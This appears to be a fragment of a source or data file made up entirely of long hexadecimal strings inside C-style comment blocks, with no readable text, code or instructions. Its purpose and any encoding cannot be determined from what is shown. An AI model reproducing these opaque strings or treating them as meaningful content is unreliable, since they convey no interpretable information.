4ad84c7db3a3fa628de68f494fc4b8fd81650c535634fc35dfe8cede000212d898f1c405ebfe85c1d9420f49594a6fbd305bf621699df67a38cbb65cac4a2193e60d81711dd0559002e56c0d9383a03e5b62674d83578ddb17532d823dfc594ff6f5aa506c26e5b9257c2ca1fe72e1baabb73ffad1fc5abb2ef99e5828b8d9de7cc40acbd652a0b472e708ad5197fcbd8c28e9b531d2a8dcfe4a2e6b99e88db0db0bf86d84f658f3bd42ed2dce7f1b14ce88ee6ba53e9f76f441ee8448d284c2c8c7b630a37bc4661cdbb9332baa3d3cf61f3340a6a1724659b609c90f6e1eb33776ef262aa577c2d78082c6c98b3beb88bc1a7f2f4dcd6f69c208999b486fc0f5fc39fe31588bbe7ea3007db08297e48e585abd4e820470584c3577b7425167ec1f9cb2b11b0f702cf02712b8163690bce21a4e75a612b5f1977367b3a56305161f37a7d852ecab45da12138b7dc55beb20c82d1451d7987c11e3c1c39f3e6a409a38f407e2137d74f9dfd068d57df0d3b3d70ef816dd3229e58b08d3a37ef7e0c93ffc28ebaa7f1b0b44d5e7e9e1215a0c28d61577cf2853d5accdd5fea31843038a7a866c4a742b24cc2965fe3cc9feb9dd1ce36a4250fe283a0d5a28aa92fecf7444ebe148d1735b87a495c609181a17bbfff3a39b92f632f43ee576580931b2d6237be688ed8d32cb6968b5b20481ba6fbedcae0bf613e384eb16cfa9199881484a08832187745979284c032da959d4c9ff2e501d5a2d30a0edda80130a8c47da40e21babc1acb5192aac4b4a8fc6217139b91169c8bd2e2d2241c53b01c9d7e664dd03cf0245b6af45c8055edb645f331f20c3a80f9f7b47424b8a44ca5ea4195fc4440d474da60bc768e5bf3a93564f5ce77c876c3908ab6db8ab60dcd7f15c8368db0001ad6155995852acf6338844e3db148bc4d5bc4258cfd7d53dd9bba4d6cbffdf03ac539cd7fd59154b276dd3059e080b30248d1ce57cb486a4d632f404a2064e33445cf6fea6f73da64f06a120e0c680c38b204a7640c04493d5ad381cb2f566eaefcbcde5d9681babcfa7d53e23b395a15b04755efde4ac2119b671c67415bb57d0e41cd16e62b356d919780dcae68b4facc954be32834ad4cf584522dcc74df9a5f63baeaacb70fed9b4bbbad9b8db3c9ee81f0697be06b8543240261a7d478dfbe1fc72d2998676744760c017042e0eecf93be54e7f95b8cf02b2f02dded4490bc3692cae819758dfcedb26f425458600badf57eaef426c9470c59d64c40bf20853a6f1d580c6bf893e38b424ef7876494da3214c7828ee1ddd1ae4d9441a043c080f809dd706641e7e2e1cb9996c8853152ede673bccd10f444686a969d76bee7c9e83b8a8ae0b83fb5c1f4d721253c26ef6b0f1cabbbd9de446adb48863a3974a348f016560711795294036dc2b73e0f5916b37b23e237f28c9b0810bae9ab13829455585c5ead8dbe43bda90ff6f831173492d082f3c436345082aabb471ebd02cc7ee461994d72aa26d2da8d907372172b0c81c7170c2e2d3dc54dc731999567fec3464225dde3d23aabe4957962f75995bbd6f470a3c0b29f5311d0c72a7fb20759340db75caee9aab310fb40cda1c98bc72fe28a6c71a8a493d5d0696728d2d5eb6df6390c276f6b36ae09e2847512c49ee546550029e0403670538a1bff5b9c1107ef155b04fc04c36d0ff5e69013a7d386b9cc40c4c5ac23e7a5cd92575a553d6c8be03ddb874d5bd679a135698f3dc4385eb6abb5688609467e0c4279e3fd08767be32b3ae2fdc05bc44aa2d05149fdaf10b74d84225c622e881bac144c863e4a2402bcc7335d4ed685b5718b9547bcfb74818c59fbfc23e35540e53b447c2142972ea7977bc2a0f02d0df50528645ed2e09ceea8e8ce374801518e462ed57ae49fcc8578e03bdc555fbdef9853a0b743887bff994c80f64a2d34ad3f9c0cf0623e212964b690b003f284cc9752885c8a6b06f5bb6289aad77d34d645799bd00bd14a17f4faa*/
/*f4e292e5a1df6f500a01d438cf20af30145b8411cc187fffeea9601196edec4f438d3299dfbeef436921cb098246ffad197a7e27b47371a4f4f09a5129ad949ecb20c6623e6c90df6671e6d523d2e810389222dcef2757dc03b78bde69d3b8d9ddafc38750827397c8ebee9da6fe1f24dc49531fe900629a70830bca672fcff9cfeb7aeedc744ae5f44fd08a03a7cd1d3573ebc32a58d7530441456ea6015c6eed2d595d2c84cdf8f91430ef6386eb10076fa0c851804695ad143fe53f97e2c118d1c705e1b3f46be82df6d3913fc18bf41193bf270bde6a57120fd25c0932b98ed7c83375a494c625cdc8eaa051bad7154bd2f841740a5e0620a9153a98864f1b39e1589108f87bc83ccd369c3e35fec42dadc643213a93a2724f55fa1c65223d30133338a1dfaea43ceb08437e42cbacd30071b8734dcbb0fb6d45b8b526f921cca147832b1559a32d871c1ce63091a8d2055d5e824b8e33e4fcb29c958ffb731d6398c0490782b82f9ca4ef9cd5acf975c11148bc861caadc22d83a9d81f8c3cfa6b7dcb515a8692b9d69a54c29737494d8a34d683fbb6abd7f9fead3bdf4dddb7e78284fb538d10edf53e01bc6e0b5eabced86bb465e6860b2254d4320f38d8649ae6475af30b21bdf056763f96b5dd914f2138bfe4c83fcc666d3211b4ce8b5214cd91dabe4235107fb8275de4168cf1fd45e7510315f8e8aaa698a63d45276c2b9764a5695d6af051cab1ab507f0dde000c1876e2ef03b5c063500a2c52871793cc111e574c8f2ffe484d0d8edada9ba8e33ad2fa64d63a12e676a23b06f3548a053d0f1fdb5efa34e52546d66acabb22e94ff7438ee6b990c94f63fed2b86613856d63174772ca716ede0ad13564a43b97dcc9419103bc5e0cc5295bf6cb54b129903a97d1b29d9c09793a88d2f994b42af19be42cbd5e752399f7804bf39aac2d758094c597a8135eaa3e5d7180ef095d290619c0aa8a17294838a5f8fe7f84f5a815ba00b9a0dd93de0175d0abe6db34e6dbf5b947c12a1bbe72fe8cf9301b9dc2f3d6c9f83f8954fded8f2fd2509ae1d8543f63f33adfff39f4b9046d8e6e9b985fbdbd75b86c77b7d584526baf8bca81723eb786eb757673591f4af2c40f9bf60a37faa60bceba6d51786565ab8cdc74696d1afb5944edd1294ef31fed8cf8a04777eb66ef88450b5bd54cfc894bc4c1b28c544e894cbac3515170927bdba89424398cb0e93017b9bc636ba66774c61e4d37e79562148427704d2404b19abef88fd56f42db6b700c33b971dd526ad785247036607dfa6fb7177c52133b872734d86fe21eeaa25a99a5da931bdf0d7554fa005d2ac192874de2dd63aad47625c0963a76fe18872e5699802926bc86474e60e516c423777d8733907d5d540cb8dcc749dbcb9d23e40e419a2d3fec8e4df877874cfef49e934b66d930a2765cf92836fefa834d549bd196f14713547150d8f90494a5989f69c138a0df11446cc4a4f00cdd018ae442726d73774907800f192cd0204f2a301b8bbb538950cf212dadd75fd8190b2773ce184d0f03605d95ce5938b01e68f93539ecd02233d37f54eca7e9faa7990b599d1c8441b30201562bb3f2b266b7a757cd7dbd3590a521bc495389fb4f4fd7cd05b77a4109a06d8a540f246fc40cdad8c69def6a05582b127dabca18efaaa5b8b088468d8177a728cef4d2358f539e7aaec1a4771f513e977fb3ac46c3b9f614f953d93f38cdff74dbe37d62623d46cc779e54bd8457d1b18ea460553b02d0069632618b01aa34bc352940ca5491f20ffee92fe97a381133e67d9daa440a5ecc70bf4f1ecb44dfa17ad27ca8169d23006634f52ed63f0e4b9ef476b6b7810955f2030b52833ab6c75d051a4c9d597b0b221e5ef7d63f96550771c6f93606eb7ecc458951b64d78b4ae5c733d2b372087f2ffcb4ec9b9ebba07a8f36e964b9d8b72c5ef706ab94d1e65a2aadf73c916486d852cb9c78d38cf4b98dd57e3f3d66be54ec08f4a0a17659fa8b26770c7de79a60b966b00f7aa526effdabe07c04a71acd225d2faf09543029f61cc1fdfc85b418230ce30b0e90d6f33624c2a0bb6d2934c2f87a4c917ff8d0b0b3b70f3a8abc8fc5b4b30048f937b9cd25d09cea256a0cce5d57f9774844d230925889856b6fb3111c8aa582f8cac696c04e309111686802fdeec216ea738da3d76866c6af33eb73f930e3f5747338102f142ff283cac72f91f215a64a1d4865b46fc3895391c6015cd83e0ac3c0fceae9fac7eda99f1c1f98ec52997dc06dd9613ecff0d10ca3a003a2b8f8971bcefa8e01b1331efeab21d0e7188d435a0b203d47b47fed9eeec3968323a0de45b709f6a3da3f6bef8a22cc3a3e4dccbc9d489ddeee484dfaf74c0157da30dd58d71037fbb5054ecf9b7d91b4e5138653470b0f4c979bdfb85baec187a1585da779be6acd08af0055fbf854aea0e16e636a6977d0fe0441182032bad1b39d514415e76dffdec93f993ab691aa44a59e9e3481a5ac38ed0140f9db99a1f0ea8139b4bc5c30a493683b07c616e27065cc733e16559d2656facbfccd011c1bdd4d4f3d0c74480e8df12deebe41b9aeb3ce56286b4b62e31e03b669e83cfc99171783a9115ca51b860c64401e5b2a31996ce49e420d84e8fd7d93f62d4980a177ee1c6f45865c84797c8bff0599f4fa5a47f2722dac480a6dffd4c21887a7f35116f7ca88cf9f586be7e966e1210d7adbce4aafacb1409d7c0649f6fc750e8c049b21d563d709f718eea78a67cdaae5223841f161f7f85742f41380e5840cd9041204f52620b7f9ab49aa54a2ad*/
/*0661a2249bd5bb378015fd037a11c1ca55f8b764cd783b6cdc6ddcec0998a8f84d10963c6ac973e3a4cc7249edb3d7ef720782caa7c534e088d0395d643aeeada77f41b161ad162bd1e99af01e93fb711f074d85358e7a259bb9c7c578130e82262ab193c917cf3be8cf34dca3c9d7281bf1e4d649186b6c0c2de565ef3a4946951cda88058ca14651c5807558a4b7a9689355169ef963233192b29699f151877a0b48afd929ff36ca441f34d7c5290cb90d8474beddff914a685595e510f4cc923c853f710fa55f43c495b742f1159ef4bd558b1e4cfa7f40220460c577af4b222bdd9828734de5b9ac8e7dd7904c6fd6c4a53871d864730a9a6a701889682abf98a4d87d1675c1523af1fdcd32c934736f2139bfee1dbd39bd35caa97862c66a134f8c9c12a25d9a0a1fde758d414a3da1cdd92d1625f6fd8f2cd1b05a311318e7b19778153f3585f5fa10764ea43023c4e8b1b6b0beeefe8025ab6f6a440529012a6d567c477b1bcf5f8607c3afbad2d867dc018be40b18adb01328515caa38a229b6a803df4337414efc4a154cc1e83209b7581e1029b02ab2b6b982cc439443c9e3ea372c72caf5e15e69bea6ad12e90a2c17985e9318b507359776d4e7590a62a39f2cad2b9df2d8ac3f799b43a918d163e5da159c44af72418d6cb3c97e5eab20820f6957b80770d30c8674451bb667fb81013b3ff507bfa733efec804a4208bfbf48f09deaf41982da9d782a3087b8f1a6464005f08b20f6fbbf912cec709521c1ffc68c3c946ecae8496be34805ca045f6c44b42c1dcd90eac0262d9ceea1b3f050cf8842113d8d357ac23d455ec6e9ef557bb8868342b9d5bb2a5e435a91e5cd64751dc61d116d5ef0470fe5d8027bf430407e954d65c56675abaa9e51461dfa2ec85f162e1c782f5e5665e62398692bd146e8648ed7b34a5702e759c9759f0bc32747e47c2f5e6e424a087a992c881035f0adb5d509699526ac11232871f1dc05034c2181006ff1af1e3bbe0cb6c0ab9dffffb951b718784ce83c21ca8687e220a746831cb864ec93a914d1cf8ea8b37e39421b45381c7873ad7b8d16ace878da7d82fae21a48a8feba8bca573db8eab0b3079e71c34032463e83534f73875e8ee662092046429f4f6335331384f0e9d35e08c21c59d98cc512a520e635368043d666a274a78648c25f6fae780b9edbcefba9ed996556a8592e9e8007e4252bd944bfe0b8b34534a115c27aedd9a4a6a86022bb3fe8608ce4934f43a623e519ce1c4c1a40db6573c4da2f208a9a45fee0daba2d4a9e6f920bb7ab7f3b2640f25d2f915d630e1815b1ade014d2899e78901cc3d60bddb448235742374249671fb67b8ef1aec8fc88054604adc6f59bcd325d5faa424b12039dd4fa72564fa48812a4323f5ec18df28e98f067543adfe0f5bb4664d3fc91820c5defcd76830c854a4a0cc11500c8bb1ab18bd6912d779b7922f076c2bbe975dad3e7bf41d1958f20a2409408e170e3bc13f6353a1719208912baa36058475c06ba61581ae47bfe6c653c03e8374c87879e158e4d60cbfdecf12b9cf65c4b59192f6e8c1a6e49ca779c87d82bfc2af596853a4859b93c86999f0107dc5939303ee03accca8582dca7679e70929f41c94ccb1dfc50a1d2a60224ab8bf1adb6cfc367c897d49355eca93605018bca8a0f13d26569d93f00e91a7f3ac5d15f0d3d6fb7b69dbcdf74dd6e5925f00e888a377d14e8d9c3a926b201c49b08761f41b8570cd8a4ae1eadcb842bbac0119b1d38e8a7ac59a9296f4a4ccbd9c8fe6adbbbd2a1df2ebd17c617d39b16834ccd8cbbf8ac4db4a9068f5cc954e9a07b6676b7dbeb3b48a098d4df292644e797966112bbdf1560e02ac71439e678b9b364dbdd40c9413ebe512e3abc78879d95e3fd2f0361731bf347f370fc3a92acbeb0566cb24a2025182a4c86311d9298b5f53e5e998c5882de317add397513981e407800742a690c59fd2cda1fd276d7756baad6ac12cb8bd42a72cf6cde609bdf836b9abc4dc7d285debff46c7f486b302187a8cf1cf2cc511412f8ec9ee91c11fc1e3458c3e4fc1fb88501e7951363580e042496f316c922f74b6969bcf0f3d44a3b980cd05f7fd1e9c26d83eea2e534b67737765a830ab2373c1c0e0cd04e42f29ff4b8a6582c14fce4da7318c05f473299f21f7362f4ef8ba3dd52fa6dbb4a39ac96f8a05fdf7a43c626e4515740c19db80c336ddc5a2b6a3b129631c5bb61a501fc45659bc46c211094bb68cebad8ec188bbe3c11e9049b80a81938afc6e24903a97f1dbc21f31521590004f9d0cb84fe4c8028d4a5f8e11f0e180df63eba3f2833c5f3210de1341d70dc15bee7fdf546c703eeaad730d79ff39d7abf62e4924e015039b0e4aba85b40c7f7b3548de6e77d55760b817ce745704812cc41e61db0afa4bfa3fd3c6365c98758150aa2fdae55a120e100e971de7f67da3d598b7303b4c934c01272cf58e9a81a6840923fa6fb8aa6a222dd25cf4e5ef8eb2e049004194f776ae7253cc0c0ba1c5f2530470e0cb574182c16dface0d6f4326c0324f63794209fdab0d83f83d6270cdd2f42e8861b6e361080b605f1cccbd8e442026038907944fba99c97c58c91476da10fe52363e850d84c29c37cd777bb4ef407b73b5e81dfbbf7ff0f692f014dc31c13f73d06f49105ac596bb609ccd6e396177dac54b05f878eb8bd18eba491ff80bee904dfbdce9e8e0c62c154e54d13a550f69a4ed85748e359188874dc08a2d0330fd5223f75772e64594b92d170145684b6085464079c30ed9b73d59e9d9b0df76ee53576e9*/
/*855e60df80b365a6e3eab3a03e931bb516e61728e3d2dc76b8d884dc932d09d96d26ffae5de8994b8dd91101bbdb8edd6b18515f7330148368fa53ca3195c4d56744ce7098cadf31cacd3d1b290e8c3765dd76c7293e57172e4737555861e13231c7e4a6d77a7991d81ba40a29829005fa3a0cc937e566800c144d36a2f4b7a47330b84a5de91acc727b2396952ef18b8f8c4f55a6d2a2e2dfd7a95744041a8b9ccd6451e2d030ba82d147e4b6665b513a1ca9ade3707d12517d65562e82f85aa043fc92a5d205056a41b6f6b2eb4be5bf7e0850c8e65f36f42e0fda4273427c9c8aa1735875737dc524911282ff4d4788d3b98cd042240cc0842a5d22211b88bb72d6a0f2daa8afacdec237188074442cfb4356c4b35c6b508a7a8850f4ff657709b770dbe9244fc20fd67e31253a4e8087734d9fbb7d796dc3f48d16727fea043d18c6b78360d7b27cb5d8d04fff1a128cf19e7f1ddef61f1624213449efb51da17cd4a04e010ba30f20ae965edd16aeabe3b662fdd213f19e76e6c5b4efd5650f829c58ff10072eb7b1ed142cbe00a2941626480e6f913e79496f4bb7e850ec53235e2dd506110a1a5d541e56b885dbb863ece2fdabd0e2eb0a68e3e76636bc2083dd4db7860b2f55096d86dbc89debebc65e3cd72cfa3731666ecdcc7455ce8003b9f1c67c4cc2699caf34346e42466ee7c64c786dd89b95789736f4ab6b212962f68f7855884e3b5688193a6898d959e3fbe16182ffa38583b2796093bb481ccf91d918d4eea50d0d6be58a2aeb4613f8340aa5d447b19a515f0b66e523a16e4080619912311cc1bec4c20379ed07d55e5e74e5c1bb7a866eeff9a323f0cc434df9c5966d53ec09b8684179540624af80b385d6c11949580ad467c24e2505eea2e86b98984f901249cebdb955c0975c62bd0e4df23abd58967e0ccae57a8e8cc43d627ac95ffb28c061c6cb15e978e997059f33982fc4980c6bc19a4750e0bb98b8feb45da98604ff4de83be47ab871e1d1aa72613fcbe7c23a6053bf075ba7db20f2998f0cafa058d748867de79cdbec0d2c09cce2ea71e38850f63cc8f36509082c8b4b9bd0e7e93d3998412a594c32ee02149eec66050bfe2e13b344a106151095b369b6748fb21f6032792de7fc0ce5488585647c9e7e31e62bd78826061771f26bdaffc19339019da1b5914335a7b9b1df0b6a69ab8cabcc555d4b2e91ff764db071bd111bc6fa8d42ffe23290f8703b073fabb6353323c3005db5206f6b7d32b206f6de0fe94a69ce75fbfa0e70203be94771aaa8626db860695dbd40eb3aab384e4919912e1cf75e49eaa6a94dc8ec039be7a6c5ae976afa38f9300189c50b69fcaca5c8d3606faaf05833c1b928e0aed87aab8f6acd62f9ebf43f110aaf5cb66a10066ced932baf49eb09af49b05de5eb23ec6754d729207903faf66d23269d426eedb58992b17a83b433cb7408f975899e18812984aae08de3fa45d0ccd3b5a85b3ee891397a196922ec9f886e1d15eee23035d2433b5f01a238ec489d842796b5d681f5334b121fb95c517e3ec8eb35e4edb9bf8047ecbaef3969408b8ff529949f7276855466434f03aeb3da4840169f4ffbeb6cbb5256f86b8f0496f409d0ebd7ebd6368eda4d2b7e0042e34affb5411a15ba1b5fdff3ca0d0758493ddaa8d339e39d289855cbb98f80bc418532a973100694c3a9f0f1a08971e99537db08c4a2317d42ecae978df4adcf905d421567169cfd5260cdbf60d95de51f7fbbb8e6043cf23b2fc5d64705714d15f11fd5d7a054f8d572d3577c7fdd929f416a4287a05517734ba9db83e283a322156850cd7cd07fa10dd225986becf84613acfdc9641792c30ab306de4b4cca56adae807e85777635ebb9c5a3a106f663b6d98e21d46a3c4a2b0dc44b22c7b76052157b69c2131272b072e3d50bee7cbf425d2b3799f93952f6b79b58899e9e853bb7e7b0b4dda7c156a1eca40a406f102c420ea64324e3c970e25e4c29dc3c499f4ef2419b3b5e8311c3f672d3e02379601db93f192fea4ced109411c9cde0d3eb787bbbd385579a6190a18c2d62cea66e123a08fa6f51bf370fa5fca35bf43677aae218b1de9bfd40434b5e3856ab7f1c368205bd64a6182bd1b26f2835d2c4cfa17bbbdb91e3d98426aab796d6dbefe659afc1780ae6233143b220ea8547c5403a7f2ddd27e473beb6a620d681a8eb24dd1943c42797e0b3437e8cfc9c6bee99eb160a444c313c21945a4b47b7b1486927f4ad926bd7004e2db156459f7eb7c251664610b9b6b16f5a1c39d3a41b3553e95691ce51edb3183fc1b9cc7ddd6b287cd163ba02b8e800db6666c86de725cd770aacf3d68207f64fba070710451868b733a0236952871dfe488ed7e9140e8f900cda45e6d157b85992158d7ced568dbbb5b3766de25bf402f5f96d306ef56c2d875f4d376c56c79c1e03da0ad489e19f00c288efabad1df333072deafd2e42b8da18472b9324d9e8cb5f74f24e111fe9e05ee608e2d6efd0520cdfa83e4f37325051643d3b808b8467b2b68402165dc874224959fbfa9b134a411cf86c68d5450a0a826318f5c29826161ac26e06a0d1615589a8c0501b0f9030bf828393dac58252c8ba9c1ee36892a5c2be3f02de8a7657fa898341be008eff10840c47bfda68bdf599ea74be4b90569e967501943ec10c526eadcc07fdb2e9b1ca01c53af0e36e78eb7f37e600192e4bff1b7662592adcee5464ba358a6a481c373f0e51495360c438d02afe8159315c61a22381d932391d1bf2a25967bbd7f3b8a066d5fcfc57461dee541321ee78*/
/*2099384816173a54be081715bd8bfe7417f81262bc298b6fd25882680a865f58785188d533bf2817546a6a96f9d07c72affbe066595ac95bd63345bd01fba6005311e3ac638f0b4739fce1429bb1bda4208de03767e189ba6983bfd566ea8b90ac3692d13de23a20793f76ad3169b6b38f9450f041d31840154e2f7e344d16b22c0eff3d91a0008b63125b4aeb0b20823a20eacbec678dd36d384a20af9f4ed00d333ec958d38fabff3fb16e921fee02be78fa39f64d9d5d8e2271b82dea07f2207e320e67c663a0a8ec22a24dd01f4f12da2f1746d270a044b5bedc466c6a20701ca369eda8f4f24262ca5fc4502e4928e500d3725e735742ccde6e15adf8cd7af402fb659aaea77ecefb87c930564d8656e29c2a697e616555f3a196a07f8ea37691cbe59eb3a7917f6f92b67cbe59b2fb3d63bfc623f9243c17d25784a61334979c2fe95ceb9c16537bd9ee46ca83c3c2f31b72e6e797d9281efb53c47cde79ab988c52888ed3ac4ff00af41872dd8e18659620fe0fd17ae6cf2b14f2b82fafe2755de0c254fda5a819929de0f157117dedd9fa441c1911ba96d5a91b1290b2d3eac27c3431df354d99b040f31e5d2aa31700ebbea1a8dd01ecc11c678b7ce69b997a7ec25a1d8ea0621b8fe17c37e013a6f51aeb1273b8a356f15b28e41945c18acb72407b1e14a6fbf2c80fb0c3dbf471fc1e714d804a2a858cfdebfadb41111163844d2d96bba36f654a04c95c69217c5c27ebbfca95e8c52b518f9410b6f2a249f186d29050bf5cfcf2d8086d3b6123dbe5dbfb7761ac443ea3075847507877b12ad8312f21a103a8cd1c38d307fdf01d2e483b8a4c5c4e5993e6d90adeb4804c995e6f6a6dda99490cbc84eeebc481cfaa353c1abbb877a786b9cfc2a63f838696ba240eaef160c9456407b4160c7c804ffe5fd0e811dbbba52e4229b54afcbc5cb385b51f4fd64fe6e917156bf38414af09486121039a02f28deffb335c0b19bed5ecc178bbcd4808e754418c889e8676e89a64d23238009b955ad838c7d685f8bc9b606e177ffac11d64dde0a20c15e8a2598c2b7d9c16c19fcf6b5de4bd1375048e8f6f043d0ff6dfd1f8b4f023881bee146f7b36716e08225f265a42eee794d4619bbfb40bf541859313bbbd19aa2abfbf420ac51dda4804692da5c198b0deee1b4dcb499baabf883c97fd4683a66dec807ff2d31beef156fbbd7bde86bb72029b73cc0c5cb8670cfbe07dd8abadf1a17aba670bf156b0513ca2d662655eba1cf21a5cab3c135b60679f0d7ed7c534b5fcac067cf6d77cf0ebced8accd1ea45c520d739e95d8428eb017b7e79efc2f6e5a31661ec50a3ecf8c3a7023b9f66ee6899295609252781fa6fb2e34a2fb060df3bea1717f887ba42dadb2365c4d901c9ae640de56fa675f44ccdd1863194ad77429c6bc8dda25fc3ff6888b543379431184b4de6bca2bc4c3902c0937054dc5c5c39da121948cb7f11d733f1dc2c51ee1f25d0759adfc17af5ca15dab63632d49dd1db36667248acba8d403130ca82d176727ef6aa35230c91b38c3b96f51b09c8ebda92cbeb851c4a8158d6b3c9e0afbc547f2c9d5598a2454fbb3e7d8e6db3f0791f70928e2b8bc0b829392cabdae5778027d45c79afd2c9f7c12904c0206b9f3017ec1e0c9e308c532c252be1684182e84b4fe81263f46b0bccb454c07ac6f976212655627a8eae685766ecc90e78fceac64295c71470c7f969b5f2090a9b7341bc6e4c8f8a7c0fea08ee1e76a82a16bf8bd51caa6373d8f326f222ea912f9568b4eccda47ec4ec44b061b828c9a744df82098a99c4dd1e0c6afd121f2e5492e0787b5b8cdb9739fb389d5179ad7a5d377d2c84d364981894dddb7c957d9f37be43fe609f4ba2024fb9bda2a992961bbdfb4641e0704d61fe5e71149730ff83c21da910d5a81d95babf902ee97e692279c9cd5f6bdab7844cd6a080481e929872bb52eefb65c472f9660a4a1a9f66f66d0d2ae681ac1d02a55630eb8adddb8e0fcd75a1b7afc72b7e9e1a8121905cbed5ea9a605d566ee01c44e58793904b82084ba60a6c3f26512a7a3c3f808a4ea45ca389064c2ea09339912de0e3ac36f8caf67b725ad0fcc1153279742decd9aa8abd99af50348657a6f459bffd88c3bea6659c6b2ca15c03157298938bd0ed5b41eb80f6e7bdf18c5d7f420c3dd028a5c39cb46b9b701690d5a450f1b07824d62e3c16822b9d8efc8f6f96fca4d36949f90eb03c51726675f49e7e0bb1911bcce9226cb9bdad07668975dc3feaaeb22919ba8befbfc05d6fc353010308bddc4b4ba17cb171c446eaa5903a00f25503b1c8d9e48ff810985851329e21b02ce9a9867f885fd24ae6e97eaa1654ea396ad6b6b050e2d9faef0f035c1c8b1d71761487f2c604fd69e3af820b6e0e7c148792f3f83d51fee5d8716c45d7cc558930387ced89507541975f8fd054b387cbfced73a03c7f1420fc9fe5ba0b38e7d30526ebb53b24e6e299e7c777c23386bf243ad0f3990bfd5c3f5647f3ad696e72f98f741126a098843eb9e56dc3ecda75363bd8a9db87a74928634e649e7ed876bc6fc94d2dff76173ce375e59c57a5c20865e26eefa47e5e9c56f0a4b85954dd554263d66ca04e4d31c58c76140eba95e6b4f38cbbbdeff531938f2544007050b45e943a28134b2f090bc7e615d7f6c38ab00a107cc61ac721bddd15ebbcab43abd04a53b93ab5cccf5f7ab9170f99908c03ad9c33492b44c01826b93fcc538cee29d859de15b3a66c5a08f6a61baaab622ccd8c53ff29310e3960352d63cc4bb2f1d007d41e9ba7374ad*/
/*a79334c0528014469dbe81d6a7796364e47351c6b8797c6f8a148460be77d5e9249150d5ddb96c88b7ea37296102e1912a6b6297178a1948dd7f86c5f6237869bf3aebb2a66cd60c96b115fab850b993ad192b78b65143f0dae3ae2f65f9408a8de0191a533b95578865f4921bb44529303973c9449b17327317cc91a7abe490cff1d1c554a069a1086627f5753858f64fa8cef51861ae4cfe1bfc197f5c37e753407ba11f767b4fa6aa3aca31d7c8aa0ff83fd6cbf36fc94c2537b23d893eb7d063899c5e88a445698760f5740e46d41481a402e4491a60b5650436d9d6405c173ea8469f4d4701490c5011e4072d118189245e3c1932acf5ff670dee289313fda059df2a5d49c6b08f6713846c7f69c817db5c245d0f3e77f8f93dca9e33d5bb52f4690469eeb23902989c26ae98366dcec473eb863f916526472b005550d877e34b16ac98754719287bfd9e13cb75c8b8c592057c78a5a58488acc0b59c361db3fffafaa3b6e57809da727c36ae7fb149a33476cef7c4cb25a0fa77b523d27e9ef8ffae4926706f43066907aa4dd52ce91f9de70f71a72a56695a841bfd8f191a7cad84858f73c34ad47a3b9842c4f9d8c61c58acd537153d73bd58d56ddb536e1862b9f4b3ea731d6743ee51965269563df232a04a6994451b9630c22b77c6845b0f9e12f757811b1e541bcd384c0dc1f826e589275c6817f6a7d1235673f615c7e6f79b197b2a2b27136a41671bfa5c3df0a7d26f3741ee3402c62351415b92e1adb718a63c6567407e8bfa825cebc7a51398d49a89423290ad66abfeaf449699bec47a752cd60c5b01dc495f3b09e0d950074a1fafd2540d07a9ea11ea06bf2f7cfbdf2b82599a6a709f40a6aab1c565267d2a26e2a2911c48e46ec3ae08fee4cd5696eb8f2660ed3a3d5167e8df83b8a7c3beda5bfc0eda4fd4705cc77faaaec2b4c7c1c5a495f59792a453d69ff19fc4554b320b81b8d41b2eb8a73454f4b8f91af5ebed6795db5d877dccb378895fae6079aa55af0eb1367a033f134cf5c75d04f41fee7bb2d237e21d5986f4f7b9472f648f7e6a4cd0d285db79e932a118c258a216c845bb6a508ca5b548de34fc689e47420d5755b369c0e1d3c82ebc46bce393717334d6dc448ca2d1455b47cb710f61affde815a7dc2aeaa05f66a5ff27f78b2d0764170cb98c969f7e01263d38f6b0722abde7d0b07c3f3751bb372eb4fb707a516d8ee65a0ed2162831a0772bafaef73ed58b63e4d99aa7676cbccfd36fea2898aad3bc311dcef3193462d61bea1c3a0280d8f1711e8df9a1fdcc98666523f2c62d8f3d71eac55d743b2ca97c300e03b54dca17b111505082434a22d0a3ac126c727273adfcabbddb38cb94c5c5f0b5ad6dc153bf5f24fba0db13f1e42866fa9b6e8d4a4aaa1d7dfd1d1e9f9769f2c9e08eb5a844a5702a040c2cbce8be53c3d4fa0596819a759ce7b5a716b7b4f55ab58b2c1bfb8f8f8639c676738eb8066d70e322f085e2d24c4e8cb558b0ef5c6f5c84cd96a892c31ba2a4ddb210a8e8691014dda3568e9fd183fc163d53a13513f44765ef8c161b33ebadb849e8dddaa26a59ffb33bd63eedd8e15e50d50f9aa9da086d4e7a3c302c6c20b725b870152d8ef7aa84f3341ec13dcbfe2ae3767747d01f0e5412dce7813c7a805cc1c6c2b5fa731ce877fe066ac9229bb882f5b0e8e9715cd3fc1f03ed2cb047c793e816e8d7a55e9f651cb90ff77da058c47cfe94893be59b4d9b4bc6b1d2de6dd0b732c71e5fcf5fd8d615ff56ec9c4cad758f44a99bc13eab50e6c49cff90c6caf6d9b7f4e0f6fd600bc2a6d0b67480873f6d619db5e6ecfce699731e16307e197575b33ffbeda9e99b1d3ef8b8fa5e266d509fcb7558a1ef9799fca7e5d67a686e82de7be2df869e26084bd2ddad2a3874a25f15e07a95b64ef9a751910dc3d5c1123fa42b9e4f40baad09bdc06466a43d0e3ab66fc1244c8c23587a7fb45dd0eefd3477e5dadd889855ffbfe7a50209dcccdfdc54e6b7c2757ec4b580624bcb03c02f1ad21e5bba99a80671385eb34ba36d6e5605092c8e4084a2005479b631ed16fb3047905d93645dfda5d292b230bf3509e0a204f7e8e01752d9c8138daf79b5311d1cf55e1695718b3bebf423febe60de947c246cffd428db76a80abc9a897407c70ea563db66416feb51b2664068ba6a97b1a9bd8581595a3c989443192388e72db2b10a12c072403f0c52e4dc6e78b9d93d1ea51094ad5bea4285bfc9b3c29662c15a7d20d388811f54747956ee6e891522172c94e671cd2521faeb38d652572f0bd20b639b59311bc283392bff4c06602a2f6833fef1c6a3f007a04da6e27c406f5588b362966b5abdc182c786da2d2525f74ee54870a3aecbf80129d6e84855023d841445022b3f3aa73b2a20ac1f1508fc2022ff68b77cd5cd27ac88235d90bdd87692b44625127be5b0304e473c8f9b915bbf84b28c6cc6017075f38f0badae3f5919e02d54088450f9b73adb411d6e810e3322a12984a1085c73cf68b36302490264ab9581435918214102a7f5089fa4c3fa7887ab21c4e92697e4ac0b18dcbced48a01fb58b25c5e728ebaba2c5b45857cd792dc96e91e92cb15ad18260b274ae016a84b8e6ab9021eb39ebc6cd828bbc216cf1b7c24baf0116fd61af3b37b936189e12004aa10b15e22f1b57b4c53b1425da7260eeeb37c310f3220aabdf0e558b5b844d4cf5891f0d4f2c3f240bc85aecc1bb9f283456a0ff0f544ac4378b7f2073bac6d41c771e07ab66bcdfc27f0ddc09913f0fe6780b58fa9b7c472e0fdd94879ef121*/
